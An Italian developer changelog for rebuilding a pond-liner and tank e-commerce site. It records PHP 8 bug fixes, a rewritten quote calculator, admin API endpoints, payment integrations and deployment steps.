### URL parlanti (SEO/GEO)
- Prima: link `categoria.php?c=N`; l'.htaccess REDIRIGEVA `categoriaN-slug` → `?c=N` (l'opposto del giusto).
- Ora: `router.php` serve direttamente `categoria(\d+)-slug` → categoria.php (c=N) e `model(\d+)-slug`
  → modello.php (m=N). Rimossi i redirect 301 in `.htaccess` (righe categoria/model).
- Slug generati con `createSlug()` in `common.js` (logica IDENTICA a `create_slug()` del vecchio) →
  URL **identici al vecchio online** (continuità SEO): es. `categoria1-teli-epdm-e-pvc-...`,
  `model345-pvc4-telo-in-pvc-...`. `shop.php` e `categoria.php` costruiscono i link parlanti.
- NB: sul NAS le clean URL tornano status 404 (quirk Synology, contenuto ok); su Aruba → 200.
- Da fare: `<link rel=canonical>` alla URL parlante; testare scheda prodotto (`modello.php`).

---

## 02/07/2026 — Diagnosi + fix bug PHP 8 del VECCHIO sito (preventivatore)

### Contesto
Verifica parità preventivatore nuovo↔vecchio. Il vecchio online mostrava VUOTO
per 20×30 m; sembrava una scelta di Benza. In realtà era un **crash PHP 8**
introdotto dall'aggiornamento PHP del server condiviso Aruba (motivo del rifacimento).

### Causa radice individuata (2 problemi PHP 8)
1. **Non-breaking space (U+00A0) dentro i tag PHP** letto come *bareword* →
   `Fatal error: Undefined constant " "`. In PHP ≤7 era solo Warning. In
   `sito/prev_risultati.php` riga 355 (`<?php } else {<NBSP> ?>`): crash PRIMA
   di renderizzare i teli → pagina con solo `<h2>` e tabella vuota.
2. **mysqli lancia eccezioni** di default (PHP 8.1+): la sezione di logging
   finale (`log_preventivo`) andava in Fatal sul NAS (tabella assente nel DB test).

### Fix applicati a `sito/prev_risultati.php` (vecchio sito, su mount NAS)
- NBSP → spazio normale (`perl -i -pe 's/\xc2\xa0/ /g'`)
- `$nRes++` (variabile mai inizializzata) → `$nRes = (isset($nRes)?$nRes:0)+1`
- Sezione logging `log_preventivo` avvolta in `try { } catch (\Throwable $e) {}`
- `php -l` OK. Rimosse le righe di debug temporanee.

### Verifica
Vecchio preventivatore 20×30 ora rende tutto: PP €4.500 / EPDM €8.016 (teli),
GEODREN300 €1.014 / GEODREN500 €1.628,04 (sottoteli), GENATEX700 €1.487,40
(protezioni). **Coincide ESATTAMENTE col nuovo sito** → il nuovo era già corretto.

### Fatto
- NBSP bonificati anche in `vasche_progettazione.php`, `prova.php`, `doc_genap.php`
  (lì il NBSP era in testo HTML/JS → innocuo, ma ripulito comunque).
- **Deploy su Aruba via FTP**: backup del live + upload di `prev_risultati.php`
  corretto → preventivatore online ripristinato (teli/sottoteli/protezioni/carrello OK).

---

## 02/07/2026 — Nuovo preventivatore: 3 sezioni + UX moderna

### Contesto
Verifica parità nuovo↔vecchio del preventivatore. Il backend `calcola.php` già
restituiva `risultati` (teli) + `sottoteli` + `protezioni`, ma il frontend
`preventivo.php` (`mostraRisultati`) renderizzava solo i teli.

### Frontend `preventivo.php`
- `mostraRisultati` ora rende **3 sezioni** (Teli, Sottoteli, Protezioni sponde)
  con **titoli parlanti**: "Teli proposti per dimensioni 20x30 metri", "Sottoteli
  proposti per 600 m²", "Protezioni sponde proposte per 335 m²" (mq/sponde calcolati
  da `misure_usate`).
- Estratto helper `creaSezioneProdotti()` + `formatMisura()` (formato IT).
- **Disponibilità** per prodotto ("Consegna in 30 giorni" / "N pz. a magazzino" /
  "Su ordinazione"), con icona.
- Etichetta `tipo` resa leggibile: `saldato_su_misura` → "Saldato su misura".
- Selezione **checkbox a comportamento radio con deselezione** (max 1 per gruppo
  via `data-group`, ma deselezionabile = "nessuno"): niente riga "Nessuno" del vecchio.
- **Intera card cliccabile** (toggle checkbox) + evidenziazione `.selezionato`
  (bordo accento verde, nuova regola in `sito.css`).
- `x` tra Larghezza/Lunghezza centrata verticalmente (era `align-items-end`).

### Backend `api/pubblico/preventivo/calcola.php`
- Aggiunto campo `disponibilita` (logica del vecchio) a teli, sottoteli, protezioni.

### Parità verificata (20×30, ospite)
Teli PP €4.500 / EPDM €8.016; Sottoteli GEODREN300 €1.014 / GEODREN500 €1.628,04;
Protezione GENATEX700 €1.487,40 — identici al vecchio online.

### Anteprima carrello (step 3) — come il vecchio `carrello-preview.php`
- Nuovo endpoint `api/pubblico/preventivo/anteprima.php`: dati articoli
  (prezzo2 IVA inclusa) + peso + `calcolaTrasportoReg()` (da `spedizione_helper.php`)
  → subtotale, trasporto, totale. Verificato: kit 20×30 = 4500+876+1340,
  637 kg, trasporto 412,20 → **totale €7.128,20** (identico al vecchio online).
- Frontend `preventivo.php`: step 3 "Anteprima carrello" (tabella moderna),
  `vaiAdAnteprima()` (step2→3), `renderAnteprima()`, `tornaAiRisultati()`,
  `confermaAggiuntaCarrello()` = flusso live ("Aggiungi al tuo carrello": se
  loggato → `carrello/add.php`, altrimenti redirect a `login?redirect=preventivo`).

### Ripresa carrello post-login (migliora il vecchio) — TESTATO OK
Problema (presente anche nel vecchio): dopo il login l'azione di aggiunta al
carrello andava persa. Soluzione nel nuovo `preventivo.php`:
- `confermaAggiuntaCarrello` da non loggato salva i prodotti in
  `localStorage['bz_prev_pending_cart']` (con timestamp) e reindirizza a
  `login?redirect=preventivo` (login.php onora già `redirect`, riga 298).
- `riprendiCarrelloInSospeso()` su `DOMContentLoaded`: se loggato e pending
  valido (<60 min) → aggiunge tutto via `carrello/add.php`, pulisce il pending,
  redirect a `carrello`. Helper condiviso `eseguiAggiuntaCarrello()`.
- **Verificato end-to-end**: login → ritorno a preventivo → 3 articoli aggiunti
  automaticamente (PP 4500 + GEODREN300 876 + GENATEX700 1340 = subtotale 6716) →
  carrello. Da loggati l'aggiunta diretta funziona.

### Modalità SCAVO fedele + suite test preventivatore completata
- **Bug trovato**: la formula scavo→telo del nuovo era una semplificazione lineare,
  NON la trigonometria del vecchio (`prev_calc_misure-db.php`). Riscritta in
  `calcola.php` COPIANDO INTATTA la logica: `inclinazione` = angolo in gradi (default 45),
  `diff_base = tan(90-incl)·prof`, `ipotenusa = √(prof²+diff²)`,
  `lung_tot = lung_base + 2·ipotenusa + risvolto` (risvolto 1-4 m per area), `round()`.
- **Form scavo fedele** (`preventivo.php`): 4 input attivi (lato corto, lato lungo,
  profondità, inclinazione°) + 4 pre-calcolati read-only (fondo corto/lungo, volume
  nominale/utile). Immagine CAD `assets/img/lago_cad.png` con **quote in sovraimpressione
  aggiornate live** (JS `calcolaScavoLive()` = port di `calcolaTutto()`), CSS
  `.bz-scavo-cad` in sito.css (posizioni dal vecchio + `translateY(4px)`). Paragrafo
  istruzioni + avviso "fondo ≤ 0".
- **API**: quando non ci sono teli, azzera anche sottoteli/protezioni (semantica del
  vecchio: solo courtesy).
- **Suite parità (NAS-old stesso DB, via curl):**
  - Telo, 8 casi tutti OK: 1×1 (407/408), 3×4 (363), 11×11 (courtesy), 6×10, 8×12
    (presaldati), 20×30, 50×50 (saldati fallback), 70×70 (courtesy).
  - Scavo, 3 casi tutti OK: 14×19, 19×29, 10×12.
  - Anteprima 20×30 = €7.128,20; carrello + login + ripresa post-login OK.
  Script: `scratchpad/test_preventivatore.py`.

### Fix icona utente nell'header (tutte le pagine pubbliche)
`#navUserLink` aveva `href="login"` fisso → anche da loggati portava al login.
Aggiunta logica in `assets/js/common.js` (`utenteLoggato()` + `aggiornaIconaUtente()`):
se loggato (JWT in sessionStorage o cookie `bz_jwt_utente`) l'icona punta a `utente`
(area riservata) con titolo "Area riservata - <nome>", altrimenti a `login`.
Verificato: da loggati apre "Il mio profilo", non richiede piu il login.

### Da fare
- Modalità **scavo** e misure limite del preventivatore.

---

## 09/06/2026 — Re-audit completo + fix endpoint admin mancanti

### Contesto
Ripresa progetto (sessione persa). Re-audit dell'intero codice via workflow
multi-agente + verifica diretta. Stato memoria corretto: NON era "pronto per
deploy" come dichiarato.

### Endpoint API admin mancanti (chiamati dal frontend → 404) — CREATI
- `api/admin/offerte/update.php` — modifica offerta (`admin/offerte.php:229`)
- `api/admin/vacanze/create.php` — crea messaggio (`admin/vacanze.php:214`)
- `api/admin/vacanze/delete.php` — elimina messaggio (`admin/vacanze.php:238`)
- `api/admin/gallery/read_one.php` — titolo gallery (`admin/gallery_immagini.php:75`)
- `api/admin/ordini/read_articoli.php` — articoli ordine (`admin/ordine.php:195`)
- `api/admin/ordini/update_stato.php` — cambio stato ordine (`admin/ordine.php:265`)

### Object aggiornati
- `Messaggio.php` — aggiunti metodi `create()` e `delete()` (aveva solo read/update)

### Bug allineamento frontend↔backend — CORRETTI
- `admin/vacanze.php`: `id_vacanza` → `id_messaggio` (5 punti). La tabella
  `messaggi` ha PK `id_messaggio`; modifica/toggle/lista vacanze erano rotti.
- `admin/gallery_immagini.php`: base path `admin/gallery_immagini/` →
  `admin/immagini/` (cartella reale) + campo file `immagine` → `file_immagine`
  + didascalia → `descrizione` (nomi attesi dall'endpoint).
- `admin/ordine.php`: articoli usano colonna `costo` (non `prezzo_unitario`
  inesistente).
- `api/admin/ordini/read_one.php`: aggiunto campo `stato` derivato dai flag
  booleani pagato/spedito/annullato (la tabella `ordini` non ha colonna `stato`;
  semantica coerente con `Ordine::readAll`).
- `update_stato.php`: transizioni stato senza azzerare i flag non coinvolti
  (read-modify-write). ASSUNZIONI: 'pagato' setta data_pagamento se assente e
  annulla=0; 'spedito' analogo; 'attesa' azzera tutto; 'annullato' setta solo
  il flag. Da rivedere se le regole di business differiscono.

### Email
- `includes/mail_config.php`: `test_email` da `paoloalby@gmail.com` →
  `paoloalby@hotmail.com` (allineato alla regola vincolante).

### Verifica
- `php -l` pulito su tutti i file toccati.
- Sweep completezza: 54 riferimenti `fetch` admin → tutti puntano a file
  esistenti, **zero 404**.
- Admin login + redirect verificato dal vivo (Playwright): login paoloalby →
  dashboard, API KPI 200.
- NOTA ambiente: URL puliti restituiscono HTTP 404 (contenuto OK) per il
  meccanismo `ErrorDocument 404 → router.php` su Synology — latente, non blocca.

### Foto cliente (Davide Benza — WhatsApp)
- Trovata conversazione (chat `69239335555217@lid`). Il 14/04 Davide ha indicato
  le foto migliori del sito: **gallery biopiscine** (foto 1 = premio fotografico;
  foto 21/22 = piscina Infinity Ospedaletti 2008), **gallery laghetti**, catalogo
  `immagine-682-hq.jpeg`. **Già tutte in locale** (1717 file `immagine-*-hq` in
  `files/`, scaricate via FTP). Candidate ideali per gli hero azzurri mancanti.
- Mapping gallery→file: biopiscine (gallery id 2) #1=`immagine-463-hq` (premio),
  #21=`immagine-7-hq` (Infinity Ospedaletti, vista mare), #22=`immagine-37-hq`;
  laghetti (gallery id 13) top=`immagine-265-hq`.
- **Hero homepage**: applicata `immagine-7-hq.jpeg` (infinity pool sul mare) come
  sfondo `.bz-hero-home` (scoped) con overlay navy a sx per leggibilità testo.
  Verificato Playwright desktop 1440 + mobile 390 (no overflow). Onde/navbar OK.
- **5 card homepage** (erano `img/cat_*.jpg` mancanti → gradiente): ora foto reali
  → serbatoi `immagine-528`, teli `463`, foto `265`, video `818`, documenti `682`.
- **Hero pagine categoria**: `laghi.php` sfondo → `immagine-463-hq` (biolago premiato),
  `vasche.php` img → `immagine-528-hq` (serbatoio acciaio). Tutto verificato Playwright.
- DA FARE (opzionale): hero di piscine/fontane/irrigazione/gazebi/arredamenti
  (usano `bz-section` semplice, senza hero immagine dedicato).

### Suite di test
- Creato `docs/test-suite.md` — checklist E2E completa (API + UI + flussi +
  design + responsive 3 viewport), modello da Gibertini, da rieseguire prima di
  ogni deploy e da estendere ad ogni nuova feature.

---

## 11/04/2026 — Audit pannello admin (Playwright)

### Bug trovati
- **`formatCurrency` mancante in admin**: funzione usata in `admin/modelli.php` (modale sotto-dimensioni) ma non definita in `assets/js/common.js` — causa "Errore nel caricamento" nel modale Dim.
- **Titolo**: `log_attivita.php` → titolo PHP "Log Attivita" (manca accento nella variabile `$titoloPagina`)

### Verificato OK
- 12/12 pagine admin caricate con auth JWT valida
- API admin: categorie(18), prodotti(58), gallery(19), video(42), clienti(50), ordini(50), offerte(137) — tutte 200
- CRUD modali: Categorie ✓, Prodotti ✓, Modelli ✓ (campi popolati)
- Sidebar: 16 voci, Log Errori visibile per developer
- Log Attività: dati presenti, filtri funzionanti
- Log Errori: tabella presente, 0 errori nel DB
- Sottodimensioni: modale apre, API risponde (master + 19 records), rendering bloccato da formatCurrency

---

## 11/04/2026 — FASE 4: Pagamenti + Immagini produzione

### Pagamenti
- **PayPal REST v2**: `api/pagamenti/paypal_create.php`, `paypal_capture.php`, `paypal_webhook.php` + `api/config/paypal_helper.php` (OAuth2, cURL) — credenziali sandbox da configurare
- **Nexi (carta di credito)**: `api/pagamenti/nexi_prepare.php` (genera MAC SHA1 + parametri form), `nexi_callback.php` (verifica MAC ritorno, aggiorna ordine) + `api/config/nexi.php` — credenziali reali dal vecchio sito
- **Bonifico**: IBAN reale `IT 04 O 02008 22700 000004681839` in `ordine_riepilogo.php`
- **Contrassegno**: conferma immediata ordine
- Pagina `ordine_riepilogo.php`: 4 sezioni pagamento (PayPal, Carta Nexi, Bonifico, Contrassegno)
- Pagina `ordine_conferma.php`: gestisce ritorno da PayPal (cattura), Nexi (esito OK/KO), bonifico/contrassegno

### Immagini da produzione
- Scaricate da `ftp.benza.it` tutte le immagini categorie (18), prodotti (62), gallery (20)
- Scaricate ~2580 immagini gallery (base + HQ + thmb) + ~2670 thumbnails
- Scaricati 77 PDF schede tecniche + 18 PDF allegati/certificazioni
- Zero errori 404 su immagini nello shop

### Test e-commerce completati
- Login utente bcrypt → profilo → ordini → modifica dati → cambio password
- Shop → categoria → modello → aggiungi al carrello → carrello (+/- quantita', svuota)
- Checkout con dati precompilati, regioni, 4 metodi pagamento
- Preventivatore laghi (misure telo → 5 risultati ordinati)
- Registrazione utente (form completo con validazione)

---

## 10/04/2026 — FASE 0: Fondamenta

### Struttura progetto
- Creata struttura cartelle completa (api/, includes/, assets/, admin/, uploads/, docs/)
- Copiati file dal gestionale clienti (`ordini_clienti_26/`):
  - `api/libs/php-jwt-master/` — libreria Firebase JWT
  - `api/config/rate_limiter.php` — rate limiting 120 req/min, 10 login
  - `api/config/cache_helper.php` — APCu + fallback file JSON
  - `api/config/error_log_helper.php` — log errori API
  - `includes/api.php` — classe cURL wrapper
  - `includes/helpers.php` — funzioni utility (slug, date, numeri)
  - `includes/Mailer.php` + `includes/phpmailer/` — sistema email
  - `assets/css/style.css` — variabili CSS brand (#00a1e6)
  - `assets/js/common.js` — showAlert, AppModal, fetchRetry, escapeHtml
  - `assets/img/` — logo azzurro, logo bianco, favicon set completo

### File configurazione (adattati per Benza_sito)
- `api/config/database.php` — DB `Benza_sito` (locale) / `Sql958286_1` (produzione)
- `api/config/core.php` — nuove chiavi JWT specifiche per il sito
- `api/config/headers.php` — CORS + rate limiting
- `api/config/funzioni_api.php` — encrypt/decrypt AES-256 + nuova chiave
- `includes/config.php` — URL API `sito_26/api/`
- `includes/mail_config.php` — credenziali SMTP (contatti/registrazioni/ordini@benza.it)

### Infrastruttura
- `api/validate_token.php` — gestisce 2 ruoli JWT (admin con `ruolo`, utente con `tipo:'utente'`)
- `.htaccess` — URL rewriting, protezione cartelle sensibili, cache file statici
- `docs/sql/001_ottimizzazione.sql` — migration: 6 indici, FK, password VARCHAR(255), token_reset

## 10/04/2026 — FASE 1 (parziale): Admin UI — Pagine CRUD

### File creati (14 pagine PHP admin)
- `admin/prodotti.php` — tabella prodotti con join categoria, modal CRUD (id_categoria select, ord_prod, prodotto, desc_prodotto textarea, foto_prodotto)
- `admin/modelli.php` — filtro per prodotto, tabella codice/nome/prezzo2/disp_web/visibile, modal CRUD completo con TUTTI i campi (24 campi), upload PDF con FormData, pattern PUT-via-POST
- `admin/gallery.php` — tabella gallery con contatore immagini, modal CRUD, link a gallery_immagini
- `admin/gallery_immagini.php` — GET ?id=X, griglia Bootstrap responsive immagini con preview, form upload multipart collassabile, pulsante elimina per immagine
- `admin/video.php` — tabella codice embed/nome/tags/ordine, modal CRUD con textarea embed
- `admin/clienti.php` — tabella con filtro ricerca (nome/email/città) e filtro rivenditore/privato, modal dettaglio in sola lettura (nessun create/delete), costruzione dettagli con DOM puro
- `admin/ordini.php` — tabella con filtri stato (pagato/spedito/attesa/annullato) e ricerca, link a ordine dettaglio
- `admin/ordine.php` — GET ?id=X, dettaglio con dati cliente, lista articoli, totali, pulsanti cambio stato (pagato/spedito/attesa/annullato via update_stato.php)
- `admin/offerte.php` — tabella offerte con indicatore scaduta, modal CRUD (sconto%, importo minimo, validita datetime-local)
- `admin/trasporti.php` — form unico con 13 campi configurazione spedizione (spese base, aggiunta, iva, arrotondamento_kg, 4 scaglioni step/spese, isola), ricarica config da API
- `admin/vacanze.php` — tabella messaggi chiusura, toggle attivo/inattivo con avviso "solo uno attivo", modal CRUD
- `admin/giacenze.php` — tabella read-only prodotto/categoria/modello/codice/disp_web/disp_mag con ricerca client-side, badge colorati disponibile/esaurito
- `admin/bacheca.php` — tabella messaggi utenti (nome/testo troncato/data), pulsante elimina diretto + modal dettaglio testo completo

### Pattern sicurezza applicati
- Tutto il contenuto dinamico da API scritto con `textContent` (mai `innerHTML` su dati non fidati)
- Helper `msgRow()` riutilizzato per righe vuoto/errore/loader
- Upload file solo via FormData + header My-Authorization JWT
- Conferme distruttive sempre via `AppModal.confirm()` (mai `confirm()` nativo)

---

## 10/04/2026 — FASE 2: Frontend Design e Pagine

### Design System
- `assets/css/sito.css` — design system completo "Liquid Precision": font Sora + Source Sans 3, palette azzurro acqua (#00a1e6), navbar glassmorphism, card categorie, tabella modelli, preventivatore wizard, carrello, gallery lightbox, footer, animazioni entrata, responsive completo

### Layout pubblico
- `header_pub.php` — navbar glassmorphism con menu dropdown 6 voci, carrello badge, login utente
- `footer_pub.php` — footer navy 4 colonne (logo+desc, navigazione, info, contatti), social, copyright, JS navbar scroll + IntersectionObserver animazioni

### Homepage
- `index.php` — hero con onde SVG animate, 5 sezioni card (Serbatoi, Teli, Foto, Video, Documenti in layout 2+3), sezione chi siamo con KPI, CTA preventivatore, contatti rapidi

### E-Commerce (frontend)
- `shop.php` — griglia categorie dinamica da API
- `categoria.php` — lista prodotti con tabella modelli, logica prezzi teli al m², disponibilita', sotto-modelli
- `modello.php` — scheda dettaglio con box acquisto, sotto-teli varianti, PDF allegati, quantita', carrello
- `carrello.php` — lista articoli con quantita' modificabile, rimuovi, svuota, **condividi carrello** (genera link share-cart-ID:QTA), riepilogo totale
- `checkout.php` — dati spedizione precompilati, scelta pagamento (PayPal/carta/bonifico/contrassegno), riepilogo, calcolo spedizione per regione

### Auth e Area Utente
- `login.php` — due tab (Accesso + Registrazione) con form completo, JWT in sessionStorage
- `utente.php` — dashboard con sidebar navigazione, lista ordini
- `logout.php` — pulisce sessione PHP + sessionStorage + cookie

### Preventivatore
- `preventivo.php` — wizard 3 step con scelta metodo (misure telo / misure scavo / form personalizzato), input misure con UI grande, risultati con card selezionabili e pulsante "aggiungi al carrello"

### Pagine informative (tutte con layout diversificato)
- `info_storia.php` — timeline con foto storiche e sezione evidenziata Genap 1978
- `info_contatti.php` — 4 card colorate con icone circolari + dati aziendali
- `info_orari.php` — schedule visivo con indicatore "aperto/chiuso" in tempo reale
- `info_dovesiamo.php` — mappa Google full-width + card sede e deposito
- `info_staff.php` — card circolari team con icone
- `info_consegne.php` — 4 step visivi processo spedizione + dettagli corrieri e costi
- `info_newsletter.php` — archivio newsletter con link PDF

### Pagine prodotto (con layout differenziati)
- `vasche.php` — hero split immagine+testo, 6 feature card con icone
- `laghi.php` — hero immersivo con overlay, card materiali EPDM/PVC, griglia applicazioni, CTA preventivatore
- `laghi_piscine.php` — layout split con card vantaggi biolago
- `laghi_coperture.php` — confronto galleggianti vs tese
- `piscine.php` — layout asimmetrico con 4 mini-card features
- `fontane.php`, `gazebi.php`, `irrigazione.php`, `arredamenti.php` — layout editoriale pulito

### Media e Documenti
- `gallery.php` — griglia card gallery con conteggio foto
- `gallery_view.php` — griglia immagini con lightbox modale e navigazione frecce
- `video.php` — card con embed YouTube
- `documenti.php` — griglia card documenti (listini, catalogo, certificazioni)

### Altro
- `contatti.php` — form contatto con Recaptcha v3, allegati, card recapiti
- `privacy.php` — privacy policy GDPR completa

## 10/04/2026 — FASE 3: API Admin CRUD

### Endpoint creati (36 file nuovi in api/admin/)

**prodotti/** — read, create, update, delete (filtro ?id_categoria=X in read)
**modelli/** — read, read_one, create, update, delete
- create/update accettano multipart/form-data per upload PDF (pdf1, pdf2) in `uploads/pdf/`
- update supporta rimuovi_pdf1=1 / rimuovi_pdf2=1 per cancellazione esplicita
**gallery/** — read, create, update, delete
**immagini/** — read, create, delete
- create accetta multipart/form-data con file_immagine, salva in `uploads/immagini/{id_gallery}/`
- delete cancella anche il file fisico
**video/** — read, create, update, delete
**clienti/** — read (con ?search e ?page), read_one
**ordini/** — read (con ?search, ?stato, ?page), read_one (include articoli), update (stato)
**offerte/** — read, read_one (include articoli), create, delete
**trasporti/** — read (1 record config), update
**vacanze/** — read, update (Messaggio::update)
**giacenze/** — read (Modello::readGiacenze)
**bacheca/** — read, delete

Tutti seguono esattamente il pattern categorie: include standard, JWT admin, try/catch wrapper.

### Immagini copiate dal vecchio sito
- `img/storia/` — foto storiche
- `img/certificazioni/` — premi e certificazioni
- `img/vasche/` — foto serbatoi
- `img/laghi/` — sezioni e schemi laghi
- `img/marchi/` — loghi partner
- `img/pagamenti/` — icone pagamento
- `img/cor-*.png` — loghi corrieri
- `files/` — foto prodotti, categorie, gallery (7.4 MB)
- NON copiate: hero/slider verdi (servono nuove immagini azzurre dal cliente)

---

## 10/04/2026 — Area Utente E-commerce: file mancanti

### Pagine frontend create
- `utente_password.php` — Cambio password: form (password attuale, nuova, conferma) + JWT utente
- `utente_bacheca.php` — Messaggi: lista messaggi + form invio nuovo messaggio
- `utente_ordine.php` — Dettaglio ordine: dati ordine, tabella articoli, 5 stati, link pagamento, annullamento
- `offerta.php` — Offerta pubblica (no login): tabella articoli, sconto, totale, "Crea ordine" se loggato
- `recupero_password.php` — Richiesta reset via email (chiama API esistente)
- `reset_password.php` — Form nuova password con token (chiama API esistente), redirect al login
- `attivazione.php` — Risultato attivazione account via token (chiama API esistente)

### API create
- `api/utenti/ordini/read_one.php` — GET ?id=X con JWT utente, verifica proprietà ordine, restituisce ordine + articoli
- `api/utenti/profilo/update_password.php` — POST con JWT utente, verifica password attuale (MD5/bcrypt), salva bcrypt
- `api/utenti/bacheca/read.php` — GET con JWT utente, lista messaggi bacheca utente
- `api/utenti/bacheca/create.php` — POST con JWT utente, invia messaggio (max 2000 char)
- `api/pubblico/offerta/read.php` — GET ?id=X senza token, restituisce offerta + articoli + flag scaduta

### Note implementazione
- Stato ordine: 5 stati derivati dalle colonne `pagato`, `spedito`, `annullato` (no colonna stato separata)
- Password: migrazione trasparente MD5 → bcrypt in update_password.php (come in verificaLogin)
- Offerta scaduta: calcolato lato PHP con `strtotime($validita) < time()`
- Tutte le pagine usano `sidebar_utente.php` (già esistente, rileva pagina attiva automaticamente)
- JS: solo DOM API (textContent, createElement, appendChild) — no innerHTML, coerente col resto del sito

---

## 10/04/2026 — File mancanti: preventivo form, ricerca, share email, pagine statiche

### Pagine frontend create
- `preventivo_form.php` — Form preventivo personalizzato: 5 sezioni card (richiedente, tipo lavoro d01, ubicazione d02, dimensioni d03-d05, forma d06, materiale d07, spessore d08, note d23), upload allegato, reCAPTCHA v3, POST a api/pubblico/preventivo/send.php, redirect a preventivo_ok.php
- `preventivo_ok.php` — Conferma invio preventivo: pagina "Grazie", descrizione passi successivi, CTA Home e Laghi
- `ricerca.php` — Ricerca con Google CSE (018383689060026648928:xv9rjw7hodg), widget gcse-search, script asincrono
- `ristrutturazioni.php` — Pagina statica: edilizia di pregio, attivita' in Italia e Francia, succursale Benza S.A.R.L., sidebar info aree operative
- `progettazioni.php` — Pagina statica: griglia 4 servizi (giardini, irrigazione, fontane, piscine), 5 step processo chiavi in mano, CTA preventivo

### API create
- `api/pubblico/preventivo/send.php` — Verifica reCAPTCHA v3, upload allegato con MIME check in uploads/preventivi/, email a contatti@benza.it + cliente con template emailPreventivoPersonalizzato(), sync gestionale (or_clienti + or_ordini + or_stati cat.10 + or_allegati)
- `api/carrello/share_email.php` — POST con JWT utente, validazione email destinatario + URL carrello (solo domini benza.it/localhost), invio con account ordini@benza.it via emailCondividiCarrello()

### Directory create
- `uploads/preventivi/` — cartella per allegati form preventivo (creata via mkdir in API se mancante)

---

## 11/04/2026 — Pagine statiche prodotto mancanti + Admin Carrelli + Fix Offerte

### Pagine statiche create (6 file)
- `liquami.php` — Stoccaggio liquami zootecnici: sezione lagoni Genap (sistema chiuso, raccolta biogas), vasche in acciaio (38-1.775 mc, telo FECATEX® 5 anni, garanzie 15/20 anni), tabella specs tecniche. Layout: hero verde scuro con soluzioni card, sezione distributore con 4 certificazioni, lagoni con componenti e vantaggi ambientali, specs tecnica + utilizzi.
- `vasche_accessori.php` — Accessori per vasche in acciaio: due card comparative Modello Alta Qualità (Aquatex® EX 10 anni, copertura + scarico inclusi) vs Modello Base (PVC 3 anni, solo acqua). Griglia 9 accessori aggiuntivi su richiesta. 2 video YouTube (sombreri + flangia). Link utili.
- `vasche_coperture.php` — 7 tipologie di copertura: Genatex® galleggiante, Silofloat®, tenda con palo, in tensione, coperchio inox, gazebo stand-alone, GenaflexStore® per acqua potabile. 2 video YouTube (Silofloat + tenda su cemento). Collegata a `laghi_coperture.php`.
- `vasche_istruzioni.php` — Istruzioni complete montaggio serbatoi Genap: 3 video YouTube (montaggio lamiere / sombreri / PLE), download PDF (istruzioni, manuale, figure, coni scarico), 4 sezioni testuali dettagliate (base, lamiere, telo, copertura) con AVVISI DI ERRORE GRAVE in rosso, regole fondamentali.
- `vasche_progettazione.php` — Progettazione antisismica (NTC 2018, Eurocodici 3 e 8) + antincendio (UNI EN 12845:2015, UNI 10779, UNI 11292). Lista 7 normative strutturali + 5 normative antincendio. Card massa convettiva/impulsiva sismica. Applicazioni antincendio. CTA richiesta progettazione.
- `vasche_riparazioni.php` — Riparazione vasche in cemento: citazione del vecchio sito "la soluzione definitiva è il telo". Nota: no pozzi con anelli. 4 materiali con garanzie (PVC 5-10 anni, PP Aquatex® 10 anni, HDPE 10-15 anni, EPDM Firestone 20 anni). Griglia 8 applicazioni. Box fornitura-solo-teli.

### Admin aggiunto
- `admin/carrelli.php` — Tabella read-only carrelli attivi: nome utente, email (link mailto), badge articoli (giallo ≥5), data formattata it-IT. Ricerca client-side nome/email. Bottone refresh. Contatore risultati filtrati/totali.
- `api/admin/carrelli/read.php` — Endpoint API: SELECT u.nome, u.email, COUNT(c.id_modello) AS num_articoli, MAX(c.data_aggiunta) AS ultimo FROM carrello JOIN utenti GROUP BY id_utente ORDER BY ultimo DESC.
- `admin/header.php` — Aggiunta voce "Carrelli" nella sidebar sezione E-Commerce (dopo Giacenze, prima di Configurazione).

### Admin aggiornato
- `admin/offerte.php` — Aggiunte 3 funzionalità:
  1. Pulsante **Articoli** (btn secondary, icona fa-list): apre modal `articoliModal` con tabella articoli da `read_one.php?id=X` (prodotto, modello, codice, prezzo). Fallback se nessun articolo.
  2. Pulsante **Condividi** (btn info, icona fa-share-nodes): chiama `condividiOfferta(id)` che costruisce URL `offerta.php?id=X` dalla base URL, copia negli appunti via `navigator.clipboard.writeText()` con fallback `prompt()`.
  3. Larghezza colonna Azioni aggiornata a 120px per i 3 bottoni.
  4. Modal `articoliModal` aggiunto per visualizzazione articoli (Bootstrap Modal, DOM puro, nessun innerHTML con dati non fidati).

---

## 11/04/2026 — Pagine e API log attivita/errori admin

### 5 file creati

#### API (api/admin/log/) — directory nuova
- `api/admin/log/attivita.php` — GET con filtri (admin_id, action, entity_type, data_da, data_a, paginazione). ?options=1 restituisce dropdown values. JOIN con web_admins per nominativo. Risposta { records, total, page, pages }. Accessibile a tutti gli admin autenticati.
- `api/admin/log/errori.php` — GET come attivita.php ma filtri aggiuntivi (error_code, endpoint). Blocco 403 se ruolo != 'developer'. Tabella app_error_log.
- `api/admin/log/errori_cleanup.php` — POST con body JSON { giorni: N }. Cancella errori piu vecchi di N giorni. Solo developer. Risposta { success, message, deleted_count }.

#### Pagine admin (admin/)
- `admin/log_attivita.php` — Filtri: select admin (da options), select azione, select tipo entita, date range. Tabella: Data/Ora, Admin, Azione (badge colorato: create=verde, update=blu, delete=rosso, login=grigio), Entita, ID, IP, pulsante occhio per dettagli. Paginazione max 5 pagine visibili. Modal con dl+JSON pre-formattato. JS inline.
- `admin/log_errori.php` — Controllo PHP ruolo developer (redirect index.php se no). Filtri: endpoint (LIKE), codice HTTP, date range. Tabella: Data/Ora, Endpoint (code troncato), Metodo (badge colori), Codice (badge 400=warning, 401=info, 403=warning, 404=secondary, 500=danger), Messaggio, Admin, IP. Pulsante "Pulisci errori vecchi" con input giorni + AppModal.confirm. Modal con messaggio/stack/body. JS inline.

### Pattern usato
- header.php gia' includeva i link log_attivita.php e log_errori.php nella sidebar (sezione Sistema) — pagine ora presenti
- `auth_admin.php` imposta `$decoded` — controllo ruolo: `$decoded->data->ruolo !== 'developer'`
- Filtri select dropdown popolati via ?options=1 prima del caricamento dati

---

## 11/04/2026 — Sistema log: migration SQL + logger.php

### Migration SQL
- `docs/sql/003_log_ruoli.sql` — migration `Benza_sito` (latin1):
  - `ALTER TABLE web_admins ADD COLUMN ruolo VARCHAR(20) NOT NULL DEFAULT 'admin'`
  - `UPDATE web_admins SET ruolo = 'developer' WHERE login = 'paoloalby@hotmail.com'`
  - `CREATE TABLE admin_activity_log` — log azioni admin (admin_id, action, entity_type, entity_id, details_json, ip_address, created_at) con indici su created_at, admin_id, action
